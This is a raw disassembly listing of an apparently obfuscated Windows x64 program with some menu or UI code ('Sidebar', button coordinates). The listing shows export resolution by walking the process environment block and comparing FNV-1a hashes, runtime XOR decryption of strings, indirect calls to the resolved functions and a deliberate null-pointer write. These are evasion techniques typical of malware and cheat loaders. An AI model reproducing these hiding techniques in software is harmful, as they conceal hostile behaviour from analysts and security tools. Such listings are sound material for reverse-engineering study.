mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008dd96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008dd96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008dd91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008dd70
cmp r8d, 0xe80fd3a
je 0x14008dd9b
test r9d, r9d
jne 0x14008dd50
mov rax, qword [rax]
jmp 0x14008dd20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008de46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008de46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008de41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008de20
cmp r8d, 0xa52bcaf9
je 0x14008de4b
test r9d, r9d
jne 0x14008de00
mov rax, qword [rax]
jmp 0x14008ddd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x11d8]
call fcn.140064ee0
mov ebx, dword [reloc.WS2_32.dll_accept]
mov rdi, qword [rbp + 0x70]
mov dword [rbp + 0x5e0], 0x43700000
mov dword [rbp + 0x5e4], 0x43b40000
lea rcx, [rbp + 0x5e0]
call fcn.140025c50
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm6, xmmword [0x14011d0d0]
movaps xmm7, xmmword [0x140164440]
mov dword [rbp + 0x5e8], 0x43820000
mov dword [rbp + 0x5ec], 0x42200000
movsd xmm0, qword [str.uYZQehR]
movsd qword [rbp + 0x200], xmm0
mov eax, dword [str.s__D]
mov dword [rbp + 0x208], eax
movzx eax, word [0x140161414]
mov word [rbp + 0x20c], ax
cmp byte [0x140161415], 0
je 0x14008e071
mov r8d, r12d
cmp ebx, 2
jl 0x14008e02a
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.uYZQehR]
xorps xmm2, xmm0
movd dword [rbp + 0x200], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x204]
xorps xmm2, xmm1
movd dword [rbp + 0x204], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x200]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14008e040
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401966c8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401966c0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401966b8]
xor r8d, r8d
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp + 0x200]
call fcn.14003f930
test al, al
je 0x14008e0e0
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401976f9], 0
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x5f0], 0x4432c000
mov dword [rbp + 0x5f4], 0x40a00000
lea rcx, [rbp + 0x5f0]
call fcn.140025c50
movaps xmm0, xmmword [0x140164430]
movaps xmm1, xmmword [0x140164400]
mov dword [rbp + 0x5f8], 0x41a00000
mov dword [rbp + 0x5fc], 0x41f00000
movzx eax, word [0x140161418]
mov word [rbp - 0x80], ax
cmp byte [0x140161419], 0
je 0x14008e16e
mov byte [rbp - 0x80], 0x78
xor byte [rbp - 0x7f], 0x38
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401966e0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401966d8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401966d0]
xor r8d, r8d
lea rdx, [rbp + 0x5f8]
lea rcx, [rbp - 0x80]
call fcn.14003fdd0
test al, al
je 0x14008e1cb
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x600], 0x44278000
mov dword [rbp + 0x604], 0x43c80000
lea rcx, [rbp + 0x600]
call fcn.140025c50
movaps xmm6, xmmword [0x14011d0c0]
mov dword [rbp + 0x608], 0x42700000
mov dword [rbp + 0x60c], 0x42480000
movsd xmm0, qword [0x140161420]
movsd qword [rbp + 0x1e0], xmm0
mov eax, dword [0x140161428]
mov dword [rbp + 0x1e8], eax
cmp byte [0x14016142b], 0
je 0x14008e391
mov r8d, r12d
cmp ebx, 2
jl 0x14008e34b
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161420]
xorps xmm2, xmm0
movd dword [rbp + 0x1e0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e4]
xorps xmm2, xmm1
movd dword [rbp + 0x1e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008e360
movdqa xmmword [rsp + 0x60], xmm6
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140197e08]
mov qword [rsp + 0x28], rax
lea rax, [0x140197e10]
mov qword [rsp + 0x20], rax
lea r9, [0x140197e00]
xor r8d, r8d
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 0x1e0]
call fcn.14003f930
test al, al
je 0x14008e66b
movups xmm0, xmmword [0x140161430]
movups xmmword [rbp + 0x9d8], xmm0
movups xmm1, xmmword [0x140161440]
movups xmmword [rbp + 0x9e8], xmm1
mov eax, dword [0x140161450]
mov dword [rbp + 0x9f8], eax
mov r8d, r12d
cmp ebx, 2
jl 0x14008e567
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x9dc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008e462
cmp r8d, 0x24
jge 0x14008e5b1
movsxd rax, r8d
lea r9, [rbp + 0x9d8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14008e580
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e646
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e646
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e641
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e620
cmp r8d, 0x491e0a9c
je 0x14008e64b
test r9d, r9d
jne 0x14008e600
mov rax, qword [rax]
jmp 0x14008e5d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x9d8]
call rdx
call fcn.140015b10
call fcn.140019700
mov qword [rax + 0xf4], r12
mov qword [rax + 0xfc], r12
mov qword [rbp + 0x610], 0
lea rcx, [rbp + 0x610]
call fcn.140025c50
mov dword [rbp + 0x618], 0x43160000
mov dword [rbp + 0x61c], 0x43e60000
mov r9d, Ordinal_26
mov r8b, 1
lea rdx, [rbp + 0x618]
lea rcx, str.Sidebar
call fcn.140007ef0
mov dword [rbp + 0x620], 0x41480000
mov dword [rbp + 0x624], 0x41200000
lea rcx, [rbp + 0x620]
call fcn.140025c50
xorps xmm0, xmm0
movups xmmword [rbp + 0xb90], xmm0
movaps xmm1, xmmword [0x14011d0d0]
movups xmmword [rbp + 0xba0], xmm1
mov dword [rbp + 0x628], 0x3f800000
mov dword [rbp + 0x62c], 0x3f800000
mov qword [rbp + 0x630], 0
movd xmm0, dword [rbp + 0x12e8]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x260], xmm0
movd xmm1, dword [rbp + 0x12f0]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x264], xmm1
lea rax, [rbp + 0xb90]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xba0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x628]
lea r8, [rbp + 0x630]
lea rdx, [rbp + 0x260]
mov rcx, r13
call fcn.140047150
call fcn.140019700
mov rbx, rax
mov dword [rax + 0x94], r12d
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x268], 0x425c0000
mov dword [rbp + 0x26c], 0x43c80000
lea rcx, [rbp + 0x268]
call fcn.140025c50
mov dword [rbx + 0x224], 0x3d5d2f1b
mov dword [rbx + 0x228], 0x3d5d2f1b
mov qword [rbx + 0x22c], 0x3d5d2f1b
mov dword [rbx + 0xf4], 0x3d5d2f1b
mov dword [rbx + 0xf8], 0x3d5d2f1b
mov qword [rbx + 0xfc], 0x3d5d2f1b
mov dword [rbx + 0x114], 0x3da7ef9e
mov dword [rbx + 0x118], 0x3d9fbe77
mov qword [rbx + 0x11c], 0x3d9fbe77
mov qword [rbx + 0x214], r12
mov qword [rbx + 0x21c], r12
movaps xmm0, xmmword [0x14011d0d0]
movups xmmword [rbp + 0xbb0], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0xbc0], xmm1
mov dword [rbp + 0x270], 0x3f800000
mov dword [rbp + 0x274], 0x3f800000
mov qword [rbp + 0x278], 0
mov dword [rbp + 0x280], 0x42140000
mov dword [rbp + 0x284], 0x41e00000
lea rax, [rbp + 0xbb0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xbc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x270]
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x280]
mov r14, qword [rbp + 0x728]
mov rcx, r14
call fcn.140047380
mov esi, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x14008eb3b
movups xmm0, xmmword [0x140161458]
movups xmmword [rbp + 0x988], xmm0
movups xmm1, xmmword [0x140161468]
movups xmmword [rbp + 0x998], xmm1
movzx eax, word [0x140161478]
mov word [rbp + 0x9a8], ax
mov r8d, r12d
cmp esi, 2
jl 0x14008ea35
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x98c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008e930
cmp r8d, 0x22
jge 0x14008ea81
movsxd rax, r8d
lea r9, [rbp + 0x988]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14008ea50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008eb16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008eb16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008eb11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008eaf0
cmp r8d, 0x491e0a9c
je 0x14008eb1b
test r9d, r9d
jne 0x14008ead0
mov rax, qword [rax]
jmp 0x14008eaa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x988]
call rdx
mov dword [rbp + 0x288], 0x41200000
mov dword [rbp + 0x28c], 0x43d70000
lea rcx, [rbp + 0x288]
call fcn.140025c50
mov r15, qword [rbp + 0x730]
mov rcx, r15
call fcn.140025a50
movaps xmm7, xmmword [0x140164430]
mov dword [rbp + 0x290], 0x42f40000
mov dword [rbp + 0x294], 0x41e00000
movups xmm0, xmmword [0x140161480]
movups xmmword [rbp + 0x740], xmm0
mov eax, dword [0x140161490]
mov dword [rbp + 0x750], eax
cmp byte [0x140161493], 0
je 0x14008ed41
mov r8d, r12d
cmp esi, 2
jl 0x14008ecf5
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x744]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008ebf0
cmp r8d, 0x14
jge 0x14008ed41
movsxd rax, r8d
lea r9, [rbp + 0x740]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14008ed10
movdqa xmmword [rsp + 0x60], xmm7
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401966f8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401966f0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401966e8]
xor r8d, r8d
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x740]
call fcn.14003fdd0
test al, al
je 0x14008f01b
movups xmm0, xmmword [0x140161498]
movups xmmword [rbp + 0x910], xmm0
movups xmm1, xmmword [0x1401614a8]
movups xmmword [rbp + 0x920], xmm1
movzx eax, word [0x1401614b8]
mov word [rbp + 0x930], ax
mov r8d, r12d
cmp esi, 2
jl 0x14008ef15
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x914]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008ee10
cmp r8d, 0x22
jge 0x14008ef61
movsxd rax, r8d
lea r9, [rbp + 0x910]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14008ef30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008eff6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008eff6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008eff1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008efd0
cmp r8d, 0x491e0a9c
je 0x14008effb
test r9d, r9d
jne 0x14008efb0
mov rax, qword [rax]
jmp 0x14008ef80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x910]
call rdx
call fcn.140015b10
mov ecx, 2
call fcn.1400214f0
mov ecx, 1
call fcn.1400215a0
call fcn.1400155f0
cmp byte [0x1401976f2], 0
je 0x140096f6d
cmp byte [0x1401976f8], 0
jne 0x14008f05b
call fcn.140087e00
mov byte [0x1401976f8], 1
mov eax, dword [str.WXN]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1401614c0]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x1401614c2]
mov byte [rbp - 0x70], Ordinal_79
xor byte [rbp - 0x6f], 0x38
xor byte [rbp - 0x6e], 0x39
xor byte [rbp - 0x6d], 0x3a
xor byte [rbp - 0x6c], 0x3b
xor byte [rbp - 0x6b], 0x3c
xor al, 0x3d
mov byte [rbp - 0x6a], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp - 0x70]
call fcn.140005190
mov ecx, 0xff3366cc
call fcn.140083fb0
movaps xmm0, xmmword [0x14011d0c0]
movups xmmword [rbp + 0xbd0], xmm0
